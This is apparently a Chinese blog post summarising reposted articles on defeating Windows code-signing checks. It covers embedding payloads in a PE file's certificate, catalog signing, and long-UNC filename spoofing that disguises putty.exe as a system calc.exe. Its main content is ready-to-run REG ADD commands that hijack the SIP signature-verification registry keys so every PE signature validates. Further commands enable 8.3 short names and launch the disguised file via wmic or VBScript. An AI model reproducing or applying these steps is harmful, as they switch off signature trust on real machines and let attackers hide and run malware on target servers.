之前看了几篇文章分享下,自己大致总结了下。
具体细节可参考链接,部分只是做了总结方便查阅。
1. 在PE文件的数字证书中隐藏Payload(转载)
这篇文章主要说了数字证书是用于防止文件被篡改的,进行签名校验放到文件尾部,但插入payload到证书尾部,不影响文件的hash和签名,可以做一些隐藏payload的处理
http://www.mottoin.com/detail/474.html
2. CAT文件数字签名使用技巧(转载)
PE文件的证书签名有两种,一种是将数字签名添加在文件末尾的方法(Authenticode),另一种是将数字签名保存在CAT文件中的方法(catalog),也就是不需要修改文件本身,只需要生成一个CAT文件放到指定路径就表示签名了。
目录一般为C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
http://www.mottoin.com/detail/1937.html
3. Authenticode签名伪造——PE文件的签名伪造与签名验证劫持(转载)
SIPs其实是一组实现了SIP接口,提供证书签名计算、校验等的API。dll文件存放在C:\WINDOWS\system32下,后缀为sip.dll,因为不同版本OS可能名称为有不同。
其中用于校验签名的导出函数为MsiSIPVerifyIndirectData,而且该功能还有对应注册表值,用于判断使用哪个dll的哪个导出函数进行校验
1 | HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData |
该路径下有不同GUID的,主要是用于文件类型使用不同的函数进行校验,当对应的导出函数返回值为true时表示校验成功。
- C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE
- DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件
- 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件
- C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件
PE文件是我们最常见的,所以找到对应注册表值,可以修改成我们自己写的dll,让返回值恒为true即可,或者针对某几个名称的PE文件为true,这种方法实际用的时候需要多上传一个dll到目标服务器,那其实可以看到可以修改dll名称和funcname,那么其实只需要找一个已有的dll,导出函数匹配,返回值恒为true即可。
这里提供一个符合条件的导出函数,如下是64位注册表
1 2 3 | REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f |
32位PE文件校验也有对应的注册表项
1 2 3 | REG ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f REG ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f |
默认数值为
1 2 3 | REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "WINTRUST.DLL" /f REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "CryptSIPVerifyIndirectData" /f |
除此之外,这篇文章还说到的签名劫持,其实也就是自己写个符合要求的导出函数,修改注册表指向他,然后里面写入payload,每次校验的时候会自动调用。
http://www.mottoin.com/detail/1937.html
4. Catalog签名伪造——Long UNC文件名欺骗(转载)
用long UNC文件名可以复制其他文件属性,这样就可以实现cat文件签名伪造。具体如下,和系统文件名相同,最后添加N个空格,即可伪造,文件大小,hash等均和系统文件相同,所以使用校验工具检查可以发现cat签名是针对系统文件hash校验的,所以就绕过检测了。
1 | type putty.exe > "\\?\C:\windows\system32\calc.exe " |
执行需要使用短文件名执行,win10可能关闭了短文件名,可以查看注册表,0表示开启,1表示关闭,2是默认值(默认情况下只有C盘是开启短文件名的)
1 | REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v "NtfsDisable8dot3NameCreation" /t REG_DWORD /d 0 /f |
1 2 3 4 | # 查看设置 fsutil 8dot3name query # 修改8dot3name fsutil 8dot3name set 0 |
然后使用 dir /x 即可查看。
运行可以使用以下命令执行
1 2 3 4 | #wmic wmic process call create C:\Windows\System32\CALC~1.exe # vbs CreateObject("Wscript.Shell").Run "C:\Windows\System32\CALC~1.exe" |
http://www.mottoin.com/detail/1934.html